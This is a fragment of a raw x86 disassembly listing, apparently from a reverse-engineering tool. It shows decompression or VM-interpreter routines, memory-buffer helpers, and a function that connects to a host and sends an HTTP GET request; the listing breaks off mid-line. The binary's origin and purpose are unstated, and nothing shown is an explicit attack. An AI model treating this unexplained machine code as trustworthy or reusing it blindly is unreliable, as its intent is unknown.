loc_9B35C5: ; CODE XREF: sub_9B300B+56Dj mov [edi+24h], eax cmp dword ptr [ebx+4], 0 loc_9B35CC: ; CODE XREF: sub_9B300B+3C8j jz short loc_9B35D2 mov [esi], dl jmp short loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B35D2: ; CODE XREF: sub_9B300B:loc_9B35CCj mov [esi], edx jmp short loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B35D6: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [edi+20h] ; jumptable 009B3060 case 22 cmp ecx, 40000h jnb short loc_9B362E mov esi, [edi] mov eax, ecx and eax, 3FFFFh mov eax, [eax+esi] cmp eax, [ebp+arg_4] jnb short loc_9B362E dec [ebp+var_4] cmp [ebp+var_4], 0 jle loc_9B3032 lea eax, [eax+eax*4] add ecx, 4 lea ebx, [edx+eax*8] mov [edi+20h], ecx jmp short loc_9B361D ; --------------------------------------------------------------------------- loc_9B360D: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+10h] ; jumptable 009B3060 case 54 mov eax, edi call sub_9B2B17 loc_9B3617: ; CODE XREF: sub_9B300B+4Fj ; sub_9B300B+55j ... add ebx, 28h ; default ; jumptable 009B3060 case 39 dec [ebp+var_4] loc_9B361D: ; CODE XREF: sub_9B300B+2ACj ; sub_9B300B+313j ... cmp ebx, [ebp+var_10] mov [ebp+var_8], ebx jbe loc_9B3038 jmp loc_9B3032 ; --------------------------------------------------------------------------- loc_9B362E: ; CODE XREF: sub_9B300B+293j ; sub_9B300B+2F7j ... xor eax, eax inc eax jmp loc_9B3034 sub_9B300B endp ; --------------------------------------------------------------------------- db 90h off_9B3637 dd offset loc_9B3067, offset loc_9B3085, offset loc_9B30ED ; DATA XREF: sub_9B300B+55r dd offset loc_9B3127, offset loc_9B3171, offset loc_9B317A ; jump table for switch statement dd offset loc_9B3183, offset loc_9B31AB, offset loc_9B3299 dd offset loc_9B31D0, offset loc_9B31ED, offset loc_9B320A dd offset loc_9B323D, offset loc_9B326B, offset loc_9B3271 dd offset loc_9B3277, offset loc_9B327D, offset loc_9B3289 dd offset loc_9B328F, offset loc_9B32BC, offset loc_9B32C7 dd offset loc_9B32DF, offset loc_9B35D6, offset loc_9B3323 dd offset loc_9B333C, offset loc_9B3372, offset loc_9B3398 dd offset loc_9B33D8, offset loc_9B341C, offset loc_9B3452 dd offset loc_9B347D, offset loc_9B3496, offset loc_9B34B4 dd offset loc_9B34BC, offset loc_9B34C4, offset loc_9B34F5 dd offset loc_9B3515, offset loc_9B354B, offset loc_9B3589 dd offset loc_9B3617, offset loc_9B307E, offset loc_9B3075 dd offset loc_9B30BF, offset loc_9B30E5, offset loc_9B3115 dd offset loc_9B311E, offset loc_9B315F, offset loc_9B3168 dd offset loc_9B319D, offset loc_9B31A4, offset loc_9B31C2 dd offset loc_9B31C9, offset loc_9B340E, offset loc_9B3415 dd offset loc_9B360D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B3713(int, size_t Size) sub_9B3713 proc near ; CODE XREF: sub_9AF448+53p arg_0 = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+Size] push edi mov edi, [ebp+arg_0] push 1Ch ; Size lea eax, [esi+24h] push eax ; Src lea eax, [edi+4] push eax ; Dst call memcpy mov eax, [esi+18h] mov ebx, 2000h add esp, 0Ch cmp eax, ebx mov [ebp+Size], eax jl short loc_9B3743 mov [ebp+Size], ebx loc_9B3743: ; CODE XREF: sub_9B3713+2Bj cmp [ebp+Size], 0 jz short loc_9B375F push [ebp+Size] ; Size mov eax, [edi] push dword ptr [esi+0Ch] ; Src add eax, 3C000h push eax ; Dst call memcpy add esp, 0Ch loc_9B375F: ; CODE XREF: sub_9B3713+34j mov ecx, [ebp+Size] mov eax, [esi+1Ch] sub ebx, ecx cmp eax, ebx jb short loc_9B376D mov eax, ebx loc_9B376D: ; CODE XREF: sub_9B3713+56j test eax, eax jz short loc_9B3787 push eax ; Size mov eax, [edi] push dword ptr [esi+10h] ; Src lea eax, [eax+ecx+3C000h] push eax ; Dst call memcpy add esp, 0Ch loc_9B3787: ; CODE XREF: sub_9B3713+5Cj and dword ptr [edi+24h], 0 mov dword ptr [edi+20h], 40000h mov eax, [esi+8] test eax, eax mov ebx, eax jnz short loc_9B379D mov ebx, [esi] loc_9B379D: ; CODE XREF: sub_9B3713+86j test ebx, ebx jz loc_9B3830 push dword ptr [esi+20h] push ebx call sub_9B300B test eax, eax pop ecx pop ecx jnz short loc_9B37BA mov dword ptr [ebx], 16h loc_9B37BA: ; CODE XREF: sub_9B3713+9Fj mov edx, [edi] mov ecx, [edx+3C020h] mov eax, [edx+3C01Ch] mov ebx, 3FFFFh and ecx, ebx and eax, ebx lea ebx, [eax+ecx] cmp ebx, 40000h jb short loc_9B37E0 xor eax, eax xor ecx, ecx loc_9B37E0: ; CODE XREF: sub_9B3713+C7j mov [esi+40h], eax mov eax, [esi+0Ch] add edx, ecx test eax, eax mov [esi+14h], edx jz short loc_9B37FF push eax ; Memory call free and dword ptr [esi+0Ch], 0 and dword ptr [esi+18h], 0 pop ecx loc_9B37FF: ; CODE XREF: sub_9B3713+DAj mov eax, [edi] mov ebx, [eax+3C030h] mov eax, 2000h cmp ebx, eax jb short loc_9B3812 mov ebx, eax loc_9B3812: ; CODE XREF: sub_9B3713+FBj test ebx, ebx jz short loc_9B384A lea eax, [ebx+40h] add [esi+18h], eax push dword ptr [esi+18h] ; NewSize push dword ptr [esi+0Ch] ; Memory call sub_9B132C test eax, eax pop ecx pop ecx mov [esi+0Ch], eax jnz short loc_9B3834 loc_9B3830: ; CODE XREF: sub_9B3713+8Cj xor eax, eax jmp short loc_9B384D ; --------------------------------------------------------------------------- loc_9B3834: ; CODE XREF: sub_9B3713+11Bj mov ecx, [edi] add ebx, 40h push ebx ; Size add ecx, 3C000h push ecx ; Src push eax ; Dst call memcpy add esp, 0Ch loc_9B384A: ; CODE XREF: sub_9B3713+101j xor eax, eax inc eax loc_9B384D: ; CODE XREF: sub_9B3713+11Fj pop edi pop esi pop ebx pop ebp retn sub_9B3713 endp ; =============== S U B R O U T I N E ======================================= sub_9B3852 proc near ; CODE XREF: sub_9B3A12+20Dp ; sub_9B3A12+222p arg_0 = dword ptr 4 push esi call sub_9B283A test ah, ah pop ecx jns short loc_9B3878 and dword ptr [edi+4], 0 shr eax, 0Ch and eax, 7 mov [edi+8], eax lea eax, [ebx+eax*4+4] mov [edi], eax mov eax, [esi+0Ch] add eax, 4 jmp short loc_9B389C ; --------------------------------------------------------------------------- loc_9B3878: ; CODE XREF: sub_9B3852+9j test ah, 0C0h jnz short loc_9B38C9 cmp [esp+arg_0], 0 mov dword ptr [edi+4], 1 jz short loc_9B38AB shr eax, 6 and eax, 0FFh mov [edi+8], eax mov eax, [esi+0Ch] add eax, 0Ah loc_9B389C: ; CODE XREF: sub_9B3852+24j ; sub_9B3852+9Cj mov ecx, eax sar ecx, 3 add [esi+8], ecx and eax, 7 mov [esi+0Ch], eax retn ; --------------------------------------------------------------------------- loc_9B38AB: ; CODE XREF: sub_9B3852+37j mov eax, [esi+0Ch] inc eax inc eax mov ecx, eax sar ecx, 3 add [esi+8], ecx and eax, 7 push esi mov [esi+0Ch], eax call sub_9B2868 mov [edi+8], eax pop ecx retn ; --------------------------------------------------------------------------- loc_9B38C9: ; CODE XREF: sub_9B3852+29j test ah, 20h mov dword ptr [edi+4], 2 jnz short loc_9B38F0 and dword ptr [edi+0Ch], 0 shr eax, 0Ah and eax, 7 mov [edi+8], eax lea eax, [ebx+eax*4+4] mov [edi], eax mov eax, [esi+0Ch] add eax, 6 jmp short loc_9B389C ; --------------------------------------------------------------------------- loc_9B38F0: ; CODE XREF: sub_9B3852+81j test ah, 10h jnz short loc_9B390C shr eax, 9 and eax, 7 mov [edi+8], eax lea eax, [ebx+eax*4+4] mov [edi], eax mov eax, [esi+0Ch] add eax, 7 jmp short loc_9B3916 ; --------------------------------------------------------------------------- loc_9B390C: ; CODE XREF: sub_9B3852+A1j and dword ptr [edi+8], 0 mov eax, [esi+0Ch] add eax, 4 loc_9B3916: ; CODE XREF: sub_9B3852+B8j mov ecx, eax sar ecx, 3 add [esi+8], ecx and eax, 7 push esi mov [esi+0Ch], eax call sub_9B2868 mov [edi+0Ch], eax pop ecx retn sub_9B3852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B392F proc near ; CODE XREF: sub_9B3A12+2F2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov eax, [ecx] mov ecx, [ecx+20h] test ecx, ecx jle locret_9B3A10 push ebx push esi mov [ebp+var_4], 1 mov [ebp+var_8], ecx push edi loc_9B394E: ; CODE XREF: sub_9B392F+D8j mov esi, [eax] mov edx, esi sub edx, 0 jz loc_9B39F2 dec edx jz loc_9B39E6 test ds:byte_9B9DC0[esi], 40h jz loc_9B39FE mov edi, [ebp+var_4] cmp edi, ecx jge short loc_9B3994 lea edx, [eax+28h] loc_9B3979: ; CODE XREF: sub_9B392F+63j mov ebx, [edx] movzx ebx, ds:byte_9B9DC0[ebx] test bl, 38h jnz short loc_9B39FE test bl, 40h jnz short loc_9B3994 inc edi add edx, 28h cmp edi, ecx jl short loc_9B3979 loc_9B3994: ; CODE XREF: sub_9B392F+45j ; sub_9B392F+5Bj mov edx, esi dec edx dec edx jz short loc_9B39DA dec edx jz short loc_9B39CE sub edx, 3 jz short loc_9B39C2 dec edx jz short loc_9B39B6 sub edx, 14h jnz short loc_9B39FE mov edx, [eax+4] neg edx sbb edx, edx add edx, 35h jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39B6: ; CODE XREF: sub_9B392F+74j mov edx, [eax+4] neg edx sbb edx, edx add edx, 33h jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39C2: ; CODE XREF: sub_9B392F+71j mov edx, [eax+4] neg edx sbb edx, edx add edx, 31h jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39CE: ; CODE XREF: sub_9B392F+6Cj mov edx, [eax+4] neg edx sbb edx, edx add edx, 2Fh jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39DA: ; CODE XREF: sub_9B392F+69j mov edx, [eax+4] neg edx sbb edx, edx add edx, 2Dh jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39E6: ; CODE XREF: sub_9B392F+2Dj mov edx, [eax+4] neg edx sbb edx, edx add edx, 2Bh jmp short loc_9B39FC ; --------------------------------------------------------------------------- loc_9B39F2: ; CODE XREF: sub_9B392F+26j mov edx, [eax+4] neg edx sbb edx, edx add edx, 29h loc_9B39FC: ; CODE XREF: sub_9B392F+85j ; sub_9B392F+91j ... mov [eax], edx loc_9B39FE: ; CODE XREF: sub_9B392F+3Aj ; sub_9B392F+56j ... add eax, 28h inc [ebp+var_4] dec [ebp+var_8] jnz loc_9B394E pop edi pop esi pop ebx locret_9B3A10: ; CODE XREF: sub_9B392F+Cj leave retn sub_9B392F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B3A12(int, int, void *Src, int, int) sub_9B3A12 proc near ; CODE XREF: sub_9AFBCB+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_C] push esi mov esi, [ebp+arg_4] and dword ptr [esi+0Ch], 0 and dword ptr [esi+8], 0 mov eax, 8000h cmp ebx, eax push edi jge short loc_9B3A32 mov eax, ebx loc_9B3A32: ; CODE XREF: sub_9B3A12+1Cj mov edi, [ebp+Src] push eax ; Size push edi ; Src push dword ptr [esi] ; Dst call memcpy xor eax, eax inc eax add esp, 0Ch xor cl, cl cmp ebx, eax jle short loc_9B3A52 loc_9B3A4A: ; CODE XREF: sub_9B3A12+3Ej xor cl, [eax+edi] inc eax cmp eax, ebx jl short loc_9B3A4A loc_9B3A52: ; CODE XREF: sub_9B3A12+36j mov eax, [esi+0Ch] mov ebx, [ebp+arg_10] add eax, 8 mov edx, eax sar edx, 3 add [esi+8], edx and eax, 7 mov [esi+0Ch], eax and dword ptr [ebx+20h], 0 cmp cl, [edi] jnz loc_9B3C9B push edi mov edi, [ebp+arg_C] call sub_9B2968 mov edi, eax test edi, edi pop ecx jz short loc_9B3ABF push 1 push ebx call sub_9B11E7 mov edx, [ebx] pop ecx pop ecx mov ecx, [ebx+20h] lea eax, [ecx+ecx*4] lea eax, [edx+eax*8] inc ecx and [ebp+arg_C], 0 mov [ebx+20h], ecx lea ecx, [eax+10h] mov [ecx], edi mov [eax+8], ecx lea ecx, [eax+20h] push 3 mov [eax+18h], ecx pop ecx mov dword ptr [eax], 36h mov [eax+1Ch], ecx mov [eax+0Ch], ecx loc_9B3ABF: ; CODE XREF: sub_9B3A12+71j push esi call sub_9B283A pop ecx mov ecx, [esi+0Ch] inc ecx mov edx, ecx sar edx, 3 add [esi+8], edx and ecx, 7 test ah, ah mov [esi+0Ch], ecx jns loc_9B3C8F push esi call sub_9B2868 mov edi, eax inc edi push edi ; Size mov [ebp+Src], edi call sub_9B1311 test eax, eax pop ecx pop ecx mov [ebx+10h], eax jz short loc_9B3B66 mov eax, [esi+8] and [ebp+arg_4], 0 cmp eax, [ebp+arg_C] jge loc_9B3C8F jmp short loc_9B3B10 ; --------------------------------------------------------------------------- loc_9B3B0D: ; CODE XREF: sub_9B3A12+14Dj mov edi, [ebp+Src] loc_9B3B10: ; CODE XREF: sub_9B3A12+F9j cmp [ebp+arg_4], edi jge loc_9B3C8F inc dword ptr [ebx+1Ch] push dword ptr [ebx+1Ch] ; NewSize push dword ptr [ebx+10h] ; Memory call sub_9B132C mov edi, eax test edi, edi pop ecx pop ecx mov [ebx+10h], edi jz short loc_9B3B66 push esi call sub_9B283A shr eax, 8 pop ecx mov ecx, [ebp+arg_4] mov [edi+ecx], al mov eax, [esi+0Ch] add eax, 8 mov ecx, eax and eax, 7 sar ecx, 3 add [esi+8], ecx inc [ebp+arg_4] mov [esi+0Ch], eax mov eax, [ebp+arg_C] cmp [esi+8], eax jl short loc_9B3B0D jmp loc_9B3C8F ; --------------------------------------------------------------------------- loc_9B3B66: ; CODE XREF: sub_9B3A12+E7j ; sub_9B3A12+11Ej xor eax, eax jmp loc_9B3D0C ; --------------------------------------------------------------------------- loc_9B3B6D: ; CODE XREF: sub_9B3A12+283j push 1 push ebx call sub_9B11E7 mov eax, [ebx+20h] mov ecx, [ebx] lea eax, [eax+eax*4] lea edi, [ecx+eax*8] push esi mov [ebp+arg_4], edi call sub_9B283A add esp, 0Ch test ah, ah js short loc_9B3B9D shr eax, 0Ch mov [edi], eax mov eax, [esi+0Ch] add eax, 4 jmp short loc_9B3BAB ; --------------------------------------------------------------------------- loc_9B3B9D: ; CODE XREF: sub_9B3A12+17Cj shr eax, 0Ah sub eax, 18h mov [edi], eax mov eax, [esi+0Ch] add eax, 6 loc_9B3BAB: ; CODE XREF: sub_9B3A12+189j mov ecx, eax and eax, 7 sar ecx, 3 add [esi+8], ecx mov [esi+0Ch], eax mov eax, [edi] test ds:byte_9B9DC0[eax], 4 jz short loc_9B3BE5 push esi call sub_9B283A shr eax, 0Fh mov [edi+4], eax mov eax, [esi+0Ch] inc eax pop ecx mov ecx, eax sar ecx, 3 add [esi+8], ecx and eax, 7 mov [esi+0Ch], eax jmp short loc_9B3BE9 ; --------------------------------------------------------------------------- loc_9B3BE5: ; CODE XREF: sub_9B3A12+1B0j and dword ptr [edi+4], 0 loc_9B3BE9: ; CODE XREF: sub_9B3A12+1D1j mov ecx, [edi] push 3 pop eax mov [edi+1Ch], eax mov [edi+0Ch], eax movzx ecx, ds:byte_9B9DC0[ecx] and ecx, eax lea eax, [edi+18h] mov [ebp+var_4], eax mov dword ptr [eax], 0 lea eax, [edi+8] mov [ebp+Src], ecx mov dword ptr [eax], 0 jle short loc_9B3C8C push dword ptr [edi+4] mov ebx, [ebp+arg_0] mov edi, eax call sub_9B3852 cmp [ebp+Src], 2 pop ecx jnz short loc_9B3C3C mov eax, [ebp+arg_4] push dword ptr [eax+4] mov edi, [ebp+var_4] call sub_9B3852 pop ecx jmp short loc_9B3C89 ; --------------------------------------------------------------------------- loc_9B3C3C: ; CODE XREF: sub_9B3A12+217j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+0Ch], 1 jnz short loc_9B3C89 mov eax, [ecx] test ds:byte_9B9DC0[eax], 18h jz short loc_9B3C89 mov eax, [ecx+10h] mov edx, 100h cmp eax, edx jl short loc_9B3C60 sub eax, edx jmp short loc_9B3C86 ; --------------------------------------------------------------------------- loc_9B3C60: ; CODE XREF: sub_9B3A12+248j cmp eax, 88h jl short loc_9B3C6E sub eax, 108h jmp short loc_9B3C80 ; --------------------------------------------------------------------------- loc_9B3C6E: ; CODE XREF: sub_9B3A12+253j cmp eax, 10h jl short loc_9B3C78 sub eax, 8 jmp short loc_9B3C80 ; --------------------------------------------------------------------------- loc_9B3C78: ; CODE XREF: sub_9B3A12+25Fj cmp eax, 8 jl short loc_9B3C80 sub eax, 10h loc_9B3C80: ; CODE XREF: sub_9B3A12+25Aj ; sub_9B3A12+264j ... mov edx, [ebp+arg_10] add eax, [edx+20h] loc_9B3C86: ; CODE XREF: sub_9B3A12+24Cj mov [ecx+10h], eax loc_9B3C89: ; CODE XREF: sub_9B3A12+228j ; sub_9B3A12+231j ... mov ebx, [ebp+arg_10] loc_9B3C8C: ; CODE XREF: sub_9B3A12+203j inc dword ptr [ebx+20h] loc_9B3C8F: ; CODE XREF: sub_9B3A12+C8j ; sub_9B3A12+F3j ... mov eax, [ebp+arg_C] cmp [esi+8], eax jl loc_9B3B6D loc_9B3C9B: ; CODE XREF: sub_9B3A12+5Dj push 1 push ebx call sub_9B11E7 mov edx, [ebx] pop ecx pop ecx mov ecx, [ebx+20h] lea eax, [ecx+ecx*4] lea eax, [edx+eax*8] inc ecx mov [ebx+20h], ecx lea ecx, [eax+10h] mov [eax+8], ecx lea ecx, [eax+20h] mov [eax+18h], ecx push 3 pop ecx mov [eax+1Ch], ecx mov [eax+0Ch], ecx xor edx, edx mov dword ptr [eax], 16h xor ecx, ecx cmp [ebx+20h], edx jle short loc_9B3CFD xor esi, esi loc_9B3CDA: ; CODE XREF: sub_9B3A12+2E9j mov eax, [ebx] add eax, esi cmp [eax+8], edx jnz short loc_9B3CE9 lea edi, [eax+10h] mov [eax+8], edi loc_9B3CE9: ; CODE XREF: sub_9B3A12+2CFj cmp [eax+18h], edx jnz short loc_9B3CF4 lea edi, [eax+20h] mov [eax+18h], edi loc_9B3CF4: ; CODE XREF: sub_9B3A12+2DAj inc ecx add esi, 28h cmp ecx, [ebx+20h] jl short loc_9B3CDA loc_9B3CFD: ; CODE XREF: sub_9B3A12+2C4j cmp [ebp+arg_C], edx jz short loc_9B3D09 mov ecx, ebx call sub_9B392F loc_9B3D09: ; CODE XREF: sub_9B3A12+2EEj xor eax, eax inc eax loc_9B3D0C: ; CODE XREF: sub_9B3A12+156j pop edi pop esi pop ebx leave retn sub_9B3A12 endp ; =============== S U B R O U T I N E ======================================= sub_9B3D11 proc near ; CODE XREF: sub_9AF0BC+8Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, ds:dword_9BA2C8 mov [eax], ecx mov eax, ds:dword_9BA2CC retn sub_9B3D11 endp ; =============== S U B R O U T I N E ======================================= sub_9B3D23 proc near ; CODE XREF: sub_9B1166+11p ; sub_9B3EA2+Dp ... arg_0 = dword ptr 4 cmp [esp+arg_0], 200200h jnz short loc_9B3D48 xor eax, eax cmp ds:dword_9BA2CC, eax jz short loc_9B3D66 mov ds:dword_9BA2CC, eax mov ds:dword_9BA2C8, eax mov ds:dword_9BA2D0, eax jmp short loc_9B3D63 ; --------------------------------------------------------------------------- loc_9B3D48: ; CODE XREF: sub_9B3D23+8j cmp [esp+arg_0], 100100h jnz short loc_9B3D66 xor eax, eax mov ds:dword_9BA2D4, eax mov ds:dword_9BA2D8, eax mov ds:dword_9BA2DC, eax loc_9B3D63: ; CODE XREF: sub_9B3D23+23j xor eax, eax retn ; --------------------------------------------------------------------------- loc_9B3D66: ; CODE XREF: sub_9B3D23+12j ; sub_9B3D23+2Dj or eax, 0FFFFFFFFh retn sub_9B3D23 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B3D6A(int, void *Dst, size_t Size) sub_9B3D6A proc near ; CODE XREF: sub_9AF2B0+71p ; sub_9B0BB7+21p ... arg_0 = dword ptr 4 Dst = dword ptr 8 Size = dword ptr 0Ch cmp [esp+arg_0], 100100h push esi mov esi, [esp+4+Size] jnz short loc_9B3DC1 mov edx, ds:dword_9BA2D4 test edx, edx jz short loc_9B3DC1 mov ecx, ds:dword_9BA2D8 test ecx, ecx jz short loc_9B3DC1 mov eax, ds:dword_9BA2DC cmp eax, ecx jl short loc_9B3D9A xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_9B3D9A: ; CODE XREF: sub_9B3D6A+2Aj push edi lea edi, [eax+esi] cmp edi, ecx pop edi jle short loc_9B3DA7 sub ecx, eax mov esi, ecx loc_9B3DA7: ; CODE XREF: sub_9B3D6A+37j push esi ; Size add eax, edx push eax ; Src push [esp+0Ch+Dst] ; Dst call memcpy add esp, 0Ch add ds:dword_9BA2DC, esi mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_9B3DC1: ; CODE XREF: sub_9B3D6A+Dj ; sub_9B3D6A+17j ... or eax, 0FFFFFFFFh pop esi retn sub_9B3D6A endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B3DC6(int, void *Src, size_t Size) sub_9B3DC6 proc near ; CODE XREF: sub_9AF3BC+Dp ; sub_9B0D88+46p arg_0 = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch cmp [esp+arg_0], 200200h push esi mov esi, [esp+4+Size] jnz short loc_9B3E1D mov edx, ds:dword_9BA2CC test edx, edx jz short loc_9B3E1D mov ecx, ds:dword_9BA2C8 test ecx, ecx jz short loc_9B3E1D mov eax, ds:dword_9BA2D0 cmp eax, ecx jl short loc_9B3DF6 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_9B3DF6: ; CODE XREF: sub_9B3DC6+2Aj push edi lea edi, [eax+esi] cmp edi, ecx pop edi jle short loc_9B3E03 sub ecx, eax mov esi, ecx loc_9B3E03: ; CODE XREF: sub_9B3DC6+37j push esi ; Size push [esp+8+Src] ; Src add eax, edx push eax ; Dst call memcpy add esp, 0Ch add ds:dword_9BA2D0, esi mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_9B3E1D: ; CODE XREF: sub_9B3DC6+Dj ; sub_9B3DC6+17j ... or eax, 0FFFFFFFFh pop esi retn sub_9B3DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B3E22 proc near ; CODE XREF: sub_9B0C53+Fp ; sub_9B0C53+62p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 100100h jnz short loc_9B3E61 cmp [ebp+arg_8], 0 jnz short loc_9B3E39 mov eax, [ebp+arg_4] jmp short loc_9B3E5A ; --------------------------------------------------------------------------- loc_9B3E39: ; CODE XREF: sub_9B3E22+10j cmp [ebp+arg_8], 1 jnz short loc_9B3E49 mov eax, ds:dword_9BA2DC add eax, [ebp+arg_4] jmp short loc_9B3E5A ; --------------------------------------------------------------------------- loc_9B3E49: ; CODE XREF: sub_9B3E22+1Bj cmp [ebp+arg_8], 2 jnz short loc_9B3E9D mov eax, [ebp+arg_4] mov ecx, ds:dword_9BA2D8 add eax, ecx loc_9B3E5A: ; CODE XREF: sub_9B3E22+15j ; sub_9B3E22+25j mov ds:dword_9BA2DC, eax pop ebp retn ; --------------------------------------------------------------------------- loc_9B3E61: ; CODE XREF: sub_9B3E22+Aj cmp [ebp+arg_0], 200200h jnz short loc_9B3E9D cmp [ebp+arg_8], 0 jnz short loc_9B3E75 mov eax, [ebp+arg_4] jmp short loc_9B3E96 ; --------------------------------------------------------------------------- loc_9B3E75: ; CODE XREF: sub_9B3E22+4Cj cmp [ebp+arg_8], 1 jnz short loc_9B3E85 mov eax, ds:dword_9BA2D0 add eax, [ebp+arg_4] jmp short loc_9B3E96 ; --------------------------------------------------------------------------- loc_9B3E85: ; CODE XREF: sub_9B3E22+57j cmp [ebp+arg_8], 2 jnz short loc_9B3E9D mov eax, [ebp+arg_4] mov ecx, ds:dword_9BA2C8 add eax, ecx loc_9B3E96: ; CODE XREF: sub_9B3E22+51j ; sub_9B3E22+61j mov ds:dword_9BA2D0, eax pop ebp retn ; --------------------------------------------------------------------------- loc_9B3E9D: ; CODE XREF: sub_9B3E22+2Bj ; sub_9B3E22+46j ... or eax, 0FFFFFFFFh pop ebp retn sub_9B3E22 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B3EA2(int, char, size_t Size) sub_9B3EA2 proc near ; CODE XREF: sub_9AF0BC+20p ; sub_9B0FE1+A1p arg_0 = dword ptr 4 arg_4 = byte ptr 8 Size = dword ptr 0Ch test [esp+arg_4], 2 push edi jz short loc_9B3EDC push 200200h call sub_9B3D23 mov edi, [esp+8+Size] push edi ; Size call malloc test eax, eax pop ecx pop ecx mov ds:dword_9BA2CC, eax jz short loc_9B3ED7 mov ds:dword_9BA2C8, edi mov eax, 200200h pop edi retn ; --------------------------------------------------------------------------- loc_9B3ED7: ; CODE XREF: sub_9B3EA2+26j or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_9B3EDC: ; CODE XREF: sub_9B3EA2+6j mov ecx, 100100h push ecx call sub_9B3D23 mov eax, [esp+8+arg_0] mov ds:dword_9BA2D4, eax mov eax, [esp+8+Size] add esp, 4 mov ds:dword_9BA2D8, eax mov eax, ecx pop edi retn sub_9B3EA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B3F00(char *name, u_short netshort, int, int, char *Dest, size_t Count) sub_9B3F00 proc near ; CODE XREF: sub_9B4207+42p buf = byte ptr -834h var_833 = byte ptr -833h var_832 = byte ptr -832h var_831 = byte ptr -831h Src = byte ptr -830h var_34 = byte ptr -34h in = in_addr ptr -30h var_24 = word ptr -24h var_22 = word ptr -22h Dst = byte ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h s = dword ptr -10h var_C = dword ptr -0Ch namelen = dword ptr -8 Memory = dword ptr -4 name = dword ptr 8 netshort = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Dest = dword ptr 18h Count = dword ptr 1Ch push ebp mov ebp, esp sub esp, 834h mov eax, [ebp+arg_C] push edi push [ebp+name] ; name xor edi, edi mov [eax], edi call gethostbyname cmp eax, edi jnz short loc_9B3F25 xor eax, eax jmp loc_9B4109 ; --------------------------------------------------------------------------- loc_9B3F25: ; CODE XREF: sub_9B3F00+1Cj mov eax, [eax+0Ch] push ebx push 4 ; Size push dword ptr [eax] ; Src lea eax, [ebp+Dst] push eax ; Dst call memcpy push 8 ; Size lea eax, [ebp+var_1C] push edi ; Val push eax ; Dst call memset add esp, 18h push edi ; protocol push 1 ; type push 2 ; af call socket mov ebx, eax cmp ebx, edi mov [ebp+s], ebx jge short loc_9B3F60 xor eax, eax jmp loc_9B4108 ; --------------------------------------------------------------------------- loc_9B3F60: ; CODE XREF: sub_9B3F00+57j push esi push dword ptr [ebp+netshort] ; netshort mov [ebp+var_24], 2 call ntohs push 10h pop esi mov [ebp+var_22], ax push esi ; namelen lea eax, [ebp+var_24] push eax ; name push ebx ; s call connect test eax, eax jl loc_9B40FE cmp [ebp+Dest], edi jz short loc_9B3FBB lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+var_34] push eax ; name push ebx ; s mov [ebp+namelen], esi call getsockname push [ebp+Count] ; Count push dword ptr [ebp+in.S_un] ; in call inet_ntoa push eax ; Source push [ebp+Dest] ; Dest call strncpy add esp, 0Ch loc_9B3FBB: ; CODE XREF: sub_9B3F00+8Ej movzx eax, [ebp+netshort] push eax push [ebp+name] mov esi, 800h push [ebp+arg_8] lea eax, [ebp+buf] push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHost: %s:%d\r\nConnectio"... push esi ; Count push eax ; Dest call _snprintf add esp, 18h lea eax, [ebp+buf] push edi ; flags push eax ; Str call strlen pop ecx push eax ; len lea eax, [ebp+buf] push eax ; buf push ebx ; s call send push 1388h push esi lea eax, [ebp+buf] push eax mov [ebp+var_14], 1 mov [ebp+Memory], edi push ebx jmp loc_9B40E1 ; --------------------------------------------------------------------------- loc_9B401B: ; CODE XREF: sub_9B3F00+1EDj cmp [ebp+var_14], 0 jz loc_9B40A8 xor eax, eax lea ecx, [ebx-3] test ecx, ecx mov [ebp+namelen], eax jle loc_9B40D1 loc_9B4035: ; CODE XREF: sub_9B3F00+163j cmp [ebp+eax+buf], 0Dh jnz short loc_9B405D cmp [ebp+eax+var_833], 0Ah jnz short loc_9B405D cmp [ebp+eax+var_832], 0Dh jnz short loc_9B405D cmp [ebp+eax+var_831], 0Ah jz short loc_9B4067 loc_9B405D: ; CODE XREF: sub_9B3F00+13Dj ; sub_9B3F00+147j ... inc eax cmp eax, ecx mov [ebp+namelen], eax jl short loc_9B4035 jmp short loc_9B40D1 ; --------------------------------------------------------------------------- loc_9B4067: ; CODE XREF: 